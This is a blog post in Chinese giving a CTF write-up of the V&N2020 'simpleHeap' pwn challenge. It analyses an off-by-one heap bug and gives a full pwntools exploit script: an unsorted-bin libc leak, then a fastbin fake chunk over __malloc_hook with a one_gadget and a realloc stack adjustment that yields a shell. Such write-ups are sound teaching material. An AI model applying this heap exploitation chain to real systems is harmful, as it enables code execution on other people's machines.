<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1"><title>V&amp;N2020 公开赛 simpleHeap | Icey's Blog</title><meta name="keywords" content="pwn,BUUCTF"><meta name="author" content="1c3y"><meta name="copyright" content="1c3y"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta name="description" content="这一题涉及到的知识点比较多，包括off-by-one，unsorted_bin attach和fast_bin attach，还有通过使用realloc调整栈帧来使one_gadget满足条件。 静态分析安全检查保护全开，按目前学习的体会，大概就是要伪造fake chunk来修改malloc_hook。 IDA反汇编分析完整的菜单，有添加、编辑、打印和删除四个功能 add函数：先读入size，然后">
<meta property="og:type" content="article">
<meta property="og:title" content="V&amp;N2020 公开赛 simpleHeap">
<meta property="og:url" content="http://example.com/2021/03/14/[V&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B]simpleHeap/index.html">
<meta property="og:site_name" content="Icey&#39;s Blog">
<meta property="og:description" content="这一题涉及到的知识点比较多，包括off-by-one，unsorted_bin attach和fast_bin attach，还有通过使用realloc调整栈帧来使one_gadget满足条件。 静态分析安全检查保护全开，按目前学习的体会，大概就是要伪造fake chunk来修改malloc_hook。 IDA反汇编分析完整的菜单，有添加、编辑、打印和删除四个功能 add函数：先读入size，然后">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://i.loli.net/2021/03/21/1WR5tiS8lsc9wXb.jpg">
<meta property="article:published_time" content="2021-03-14T01:27:00.000Z">
<meta property="article:modified_time" content="2021-03-21T07:08:18.047Z">
<meta property="article:author" content="1c3y">
<meta property="article:tag" content="pwn">
<meta property="article:tag" content="BUUCTF">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://i.loli.net/2021/03/21/1WR5tiS8lsc9wXb.jpg"><link rel="shortcut icon" href="/img/favicon.png"><link rel="canonical" href="http://example.com/2021/03/14/[V&amp;N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B]simpleHeap/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    jQuery: 'https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js',
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/js/jquery.justifiedGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/css/justifiedGallery.min.css'
    },
    fancybox: {
      js: 'https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@latest/dist/jquery.fancybox.min.js',
      css: 'https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@latest/dist/jquery.fancybox.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isanchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = { 
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2021-03-21 15:08:18'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    })(window)</script><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="Icey's Blog" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="author-avatar"><img class="avatar-img" src="http://p.ananas.chaoxing.com/star3/origin/e79248a96a8b9a9f4c51e2e7beaabc5c.png" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="site-data"><div class="data-item is-center"><div class="data-item-link"><a href="/archives/"><div class="headline">文章</div><div class="length-num">7</div></a></div></div><div class="data-item is-center"><div class="data-item-link"><a href="/tags/"><div class="headline">标签</div><div class="length-num">3</div></a></div></div><div class="data-item is-center"><div class="data-item-link"><a href="/categories/"><div class="headline">分类</div><div class="length-num">2</div></a></div></div></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://i.loli.net/2021/03/21/1WR5tiS8lsc9wXb.jpg')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Icey's Blog</a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">V&amp;N2020 公开赛 simpleHeap</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2021-03-14T01:27:00.000Z" title="发表于 2021-03-14 09:27:00">2021-03-14</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2021-03-21T07:08:18.047Z" title="更新于 2021-03-21 15:08:18">2021-03-21</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/CTF/">CTF</a></span></div><div class="meta-secondline"><span class="post-meta-separator">|</span><span class="post-meta-pv-cv" id="" data-flag-title="V&amp;N2020 公开赛 simpleHeap"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"></span></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><p>这一题涉及到的知识点比较多，包括off-by-one，unsorted_bin attach和fast_bin attach，还有通过使用realloc调整栈帧来使one_gadget满足条件。</p>
<h2 id="静态分析"><a href="#静态分析" class="headerlink" title="静态分析"></a>静态分析</h2><h3 id="安全检查"><a href="#安全检查" class="headerlink" title="安全检查"></a>安全检查</h3><p>保护全开，按目前学习的体会，大概就是要伪造fake chunk来修改malloc_hook。<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/checksce.png"></p>
<h3 id="IDA反汇编分析"><a href="#IDA反汇编分析" class="headerlink" title="IDA反汇编分析"></a>IDA反汇编分析</h3><p><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/menu.png"><br>完整的菜单，有添加、编辑、打印和删除四个功能</p>
<p>add函数：<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/add.png"><br>先读入size，然后对size有大小的检查，通过检查会将分配chunk的malloc指针赋给chunk_list数组。然后将size的值存入size_list数组中，并读入内容。</p>
<p>edit函数<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/edit.png"><br>重点在my_read函数，在这里存在off-by-one漏洞：<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/my_read.png"><br>在i和a2大小的比较那里应该是i&gt;=a2，否则编辑时会多写入一个字符，造成off-by-one</p>
<p>show函数<br>简单的打印<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/show.png"></p>
<p>delete函数<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/delete.png"><br>将chunk释放后，将malloc指针置空，同时size大小置为0</p>
<h2 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h2><p>利用off-by-one漏洞修改堆块大小，实现overlapping，然后释放到unsorted bin中<br>由于此时unsorted bin中只有一个chunk，它的fd和bk指针都指向unsorted_bin_addr，即main_arena+88<br>再申请unsorted bin中chunk一半的大小，根据glibc的内存分配机制，此时会直接对unsorted bin进行切割。<br>这时就可以泄露出main_arena的地址，而main_arena和libc基址的偏移是固定的，我们可以得到libc基址，进而得到其他函数的地址<br>最后在malloc-0x23位置构造fake chunk，将malloc修改为one_gadget，就可getshell了</p>
<h2 id="利用过程"><a href="#利用过程" class="headerlink" title="利用过程"></a>利用过程</h2><h3 id="申请四个堆块"><a href="#申请四个堆块" class="headerlink" title="申请四个堆块"></a>申请四个堆块</h3><p>第1个堆块用于off-by-one<br>第2个和第3个用于合并成超过0x80的chunk，释放后进入unsorted bin<br>第4个用于释放时防止与top chunk合并</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">add(<span class="number">0x18</span>,<span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span>) <span class="comment"># 0</span></span><br><span class="line">add(<span class="number">0x60</span>,<span class="string">&#x27;bbbb&#x27;</span>) <span class="comment"># 1</span></span><br><span class="line">add(<span class="number">0x60</span>,<span class="string">&#x27;dddd&#x27;</span>) <span class="comment"># 2</span></span><br><span class="line">add(<span class="number">0x60</span>,<span class="string">&#x27;aaaa&#x27;</span>) <span class="comment"># 3</span></span><br></pre></td></tr></table></figure>

<h3 id="利用off-by-one"><a href="#利用off-by-one" class="headerlink" title="利用off-by-one"></a>利用off-by-one</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span> + p8(<span class="number">0xe1</span>)</span><br><span class="line">edit(<span class="number">0</span>,payload)</span><br><span class="line">delete(<span class="number">1</span>) <span class="comment"># 1</span></span><br></pre></td></tr></table></figure>
<p><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/off-by-one.png"><br>此时可以看到chunk大小已经被修改<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/off-by-one2.png"></p>
<h3 id="泄露main-arena，得到libc-base"><a href="#泄露main-arena，得到libc-base" class="headerlink" title="泄露main_arena，得到libc base"></a>泄露main_arena，得到libc base</h3><p>此时再申请一个堆块，再打印chunk2就可以泄露main_arena_88<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/off-by-one3.png"></p>
<p>main_arena和main_arena_88的偏移为88，而main_arena和libc base的偏移可以由<a target="_blank" rel="noopener" href="https://github.com/bash-c/main_arena_offset">main_arena</a>这个工具计算得到。有了libc基址我们就可以得到各种函数的地址了。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># main_arena_88 = u64(p.recv(6).ljust(8,&#x27;\x00&#x27;))</span></span><br><span class="line">main_arena_88 = u64(p.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>)[:-<span class="number">6</span>].ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">log.success(<span class="string">&#x27;main arena+88:0x%x&#x27;</span> % main_arena_88)</span><br><span class="line">main_arena = main_arena_88 - <span class="number">88</span></span><br><span class="line">log.success(<span class="string">&#x27;main arena:0x%x&#x27;</span> % main_arena)</span><br><span class="line">main_arena_offset_with_libc_base = <span class="number">0x3c4b20</span></span><br><span class="line">libc_base = main_arena - main_arena_offset_with_libc_base</span><br><span class="line">malloc_hook = libc_base + libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line">one_gadget = <span class="number">0x4526a</span> + libc_base</span><br><span class="line">realloc=libc_base+libc.symbols[<span class="string">&#x27;__libc_realloc&#x27;</span>]</span><br><span class="line"><span class="comment"># realloc = libc_base + 0x846c0</span></span><br><span class="line">log.success(<span class="string">&#x27;libc base:0x%x&#x27;</span> % libc_base)</span><br><span class="line">log.success(<span class="string">&#x27;malloc_hook:0x%x&#x27;</span> % malloc_hook)</span><br><span class="line">log.success(<span class="string">&#x27;one_gadget:0x%x&#x27;</span> % one_gadget)</span><br><span class="line">log.success(<span class="string">&#x27;realloc:0x%x&#x27;</span> % realloc)</span><br></pre></td></tr></table></figure>

<h3 id="劫持malloc"><a href="#劫持malloc" class="headerlink" title="劫持malloc"></a>劫持malloc</h3><p>此时我们申请一个0x60的堆块chunk4来控制chunk2<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/malloc.png"><br>再先后释放chunk3和chunk2:<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/pwn/%5BV&N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/malloc2.png"><br>这时我们就可以通过chunk4来修改chunk2的fd指针（下列几步由于本地环境有点问题没法动态调试）：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">fake_chunk = malloc_hook - <span class="number">0x23</span> <span class="comment"># size=0x7f allocate a 0x68 chunk to make use of the fake chunk</span></span><br><span class="line">payload = p64(fake_chunk) + <span class="string">&#x27;\n&#x27;</span></span><br><span class="line">edit(<span class="number">4</span>,payload) </span><br></pre></td></tr></table></figure>

<p>然后申请chunk5来重启chunk2:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">add(<span class="number">0x60</span>, <span class="string">&#x27;aaaa\n&#x27;</span>) <span class="comment"># 5</span></span><br></pre></td></tr></table></figure>

<p>申请并劫持malloc:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">11</span> + p64(one_gadget) + p64(realloc+<span class="number">12</span>) + <span class="string">&#x27;\n&#x27;</span></span><br><span class="line">add(<span class="number">0x60</span>, payload)</span><br></pre></td></tr></table></figure>
<p>之后再申请任意大小的chunk就可以getshell了</p>
<h2 id="完整exp"><a href="#完整exp" class="headerlink" title="完整exp"></a>完整exp</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding=utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal=[<span class="string">&#x27;tmux&#x27;</span>,<span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">elf = ELF(<span class="string">&#x27;./vn_pwn_simpleHeap&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">debug</span>():</span></span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    raw_input(<span class="string">&#x27;en..&#x27;</span>)</span><br><span class="line">    <span class="comment"># print &quot;pid &quot; + str(proc.pidof(p))</span></span><br><span class="line">    <span class="comment"># raw_input(&quot;attach me&quot;)</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span>(<span class="params">size, content</span>):</span></span><br><span class="line">    p.recvuntil(<span class="string">&#x27;: &#x27;</span>)</span><br><span class="line">    p.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    p.recvuntil(<span class="string">&#x27;size?&#x27;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">    p.recvuntil(<span class="string">&#x27;content:&#x27;</span>)</span><br><span class="line">    p.send(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span>(<span class="params">idx, content</span>):</span></span><br><span class="line">    p.recvuntil(<span class="string">&#x27;: &#x27;</span>)</span><br><span class="line">    p.sendline(<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">    p.recvuntil(<span class="string">&#x27;idx?&#x27;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line">    p.recvuntil(<span class="string">&#x27;content:&#x27;</span>)</span><br><span class="line">    p.send(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span>(<span class="params">idx</span>):</span></span><br><span class="line">    p.recvuntil(<span class="string">&#x27;: &#x27;</span>)</span><br><span class="line">    p.sendline(<span class="string">&#x27;4&#x27;</span>)</span><br><span class="line">    p.recvuntil(<span class="string">&#x27;idx?&#x27;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>(<span class="params">idx</span>):</span></span><br><span class="line">    p.recvuntil(<span class="string">&#x27;: &#x27;</span>)</span><br><span class="line">    p.sendline(<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">    p.recvuntil(<span class="string">&#x27;idx?&#x27;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exploit</span>(<span class="params">p</span>):</span></span><br><span class="line">    add(<span class="number">0x18</span>,<span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span>) <span class="comment"># 0</span></span><br><span class="line">    add(<span class="number">0x60</span>,<span class="string">&#x27;bbbb&#x27;</span>) <span class="comment"># 1</span></span><br><span class="line">    add(<span class="number">0x60</span>,<span class="string">&#x27;dddd&#x27;</span>) <span class="comment"># 2</span></span><br><span class="line">    add(<span class="number">0x60</span>,<span class="string">&#x27;aaaa&#x27;</span>) <span class="comment"># 3</span></span><br><span class="line"></span><br><span class="line">    payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span> + p8(<span class="number">0xe1</span>)</span><br><span class="line">    edit(<span class="number">0</span>,payload)</span><br><span class="line">    delete(<span class="number">1</span>) <span class="comment"># 1</span></span><br><span class="line">    <span class="comment"># debug()</span></span><br><span class="line">    add(<span class="number">0x60</span>,<span class="string">&#x27;aaaa&#x27;</span>) <span class="comment">#1</span></span><br><span class="line">    <span class="comment"># debug()</span></span><br><span class="line">    show(<span class="number">2</span>)</span><br><span class="line">    <span class="comment"># main_arena_88 = u64(p.recv(6).ljust(8,&#x27;\x00&#x27;))</span></span><br><span class="line">    main_arena_88 = u64(p.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>)[:-<span class="number">6</span>].ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">    log.success(<span class="string">&#x27;main arena+88:0x%x&#x27;</span> % main_arena_88)</span><br><span class="line">    main_arena = main_arena_88 - <span class="number">88</span></span><br><span class="line">    log.success(<span class="string">&#x27;main arena:0x%x&#x27;</span> % main_arena)</span><br><span class="line">    main_arena_offset_with_libc_base = <span class="number">0x3c4b20</span></span><br><span class="line">    libc_base = main_arena - main_arena_offset_with_libc_base</span><br><span class="line">    malloc_hook = libc_base + libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line">    one_gadget = <span class="number">0x4526a</span> + libc_base</span><br><span class="line">    realloc=libc_base+libc.symbols[<span class="string">&#x27;__libc_realloc&#x27;</span>]</span><br><span class="line">    <span class="comment"># realloc = libc_base + 0x846c0</span></span><br><span class="line">    log.success(<span class="string">&#x27;libc base:0x%x&#x27;</span> % libc_base)</span><br><span class="line">    log.success(<span class="string">&#x27;malloc_hook:0x%x&#x27;</span> % malloc_hook)</span><br><span class="line">    log.success(<span class="string">&#x27;one_gadget:0x%x&#x27;</span> % one_gadget)</span><br><span class="line">    log.success(<span class="string">&#x27;realloc:0x%x&#x27;</span> % realloc)</span><br><span class="line">    add(<span class="number">0x60</span>, <span class="string">&#x27;\n&#x27;</span>) <span class="comment"># 4(2)</span></span><br><span class="line">    <span class="comment"># debug()</span></span><br><span class="line">    delete(<span class="number">3</span>)</span><br><span class="line">    delete(<span class="number">2</span>)</span><br><span class="line">    <span class="comment"># debug()</span></span><br><span class="line">    fake_chunk = malloc_hook - <span class="number">0x23</span> <span class="comment"># size=0x7f allocate a 0x68 chunk to make use of the fake chunk</span></span><br><span class="line">    payload = p64(fake_chunk)</span><br><span class="line">    edit(<span class="number">4</span>,payload) </span><br><span class="line">    add(<span class="number">0x60</span>, <span class="string">&#x27;aaaa\n&#x27;</span>) <span class="comment"># 5</span></span><br><span class="line">    debug()</span><br><span class="line">    payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">11</span> + p64(one_gadget) + p64(realloc+<span class="number">12</span>) + <span class="string">&#x27;\n&#x27;</span></span><br><span class="line">    add(<span class="number">0x60</span>, payload)</span><br><span class="line">    <span class="comment"># debug()</span></span><br><span class="line">    p.sendlineafter(<span class="string">&#x27;: &#x27;</span>,<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">&#x27;size?&#x27;</span>,<span class="string">&#x27;32&#x27;</span>)</span><br><span class="line">    p.interactive()</span><br><span class="line">    <span class="comment"># payload = &#x27;a&#x27;*3 + &#x27;a&#x27;*0x20 + p64(one_gadget)</span></span><br><span class="line">    <span class="comment"># add(0x60,&#x27;payload&#x27;) # 6</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    log.info(<span class="string">&quot;For remote: %s HOST PORT&quot;</span> % sys.argv[<span class="number">0</span>])</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &gt; <span class="number">1</span>:</span><br><span class="line">        p = remote(sys.argv[<span class="number">1</span>], <span class="built_in">int</span>(sys.argv[<span class="number">2</span>]))</span><br><span class="line">        exploit(p)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="comment"># p = process([&#x27;./babyheap&#x27;], env=&#123;&quot;LD_PRELOAD&quot;:&quot;./libc.so.6&quot;&#125;)</span></span><br><span class="line">        p = process(<span class="string">&#x27;./vn_pwn_simpleHeap&#x27;</span>)</span><br><span class="line">        <span class="built_in">print</span> util.proc.pidof(p)</span><br><span class="line">        exploit(p)</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="mailto:undefined">1c3y</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="http://example.com/2021/03/14/[V&amp;N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B]simpleHeap/">http://example.com/2021/03/14/[V&amp;N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B]simpleHeap/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="http://example.com" target="_blank">Icey's Blog</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"><a class="post-meta__tags" href="/tags/pwn/">pwn</a><a class="post-meta__tags" href="/tags/BUUCTF/">BUUCTF</a></div><div class="post_share"><div class="social-share" data-image="https://i.loli.net/2021/03/21/1WR5tiS8lsc9wXb.jpg" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/social-share.js/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/social-share.js/dist/js/social-share.min.js" defer></script></div></div><nav 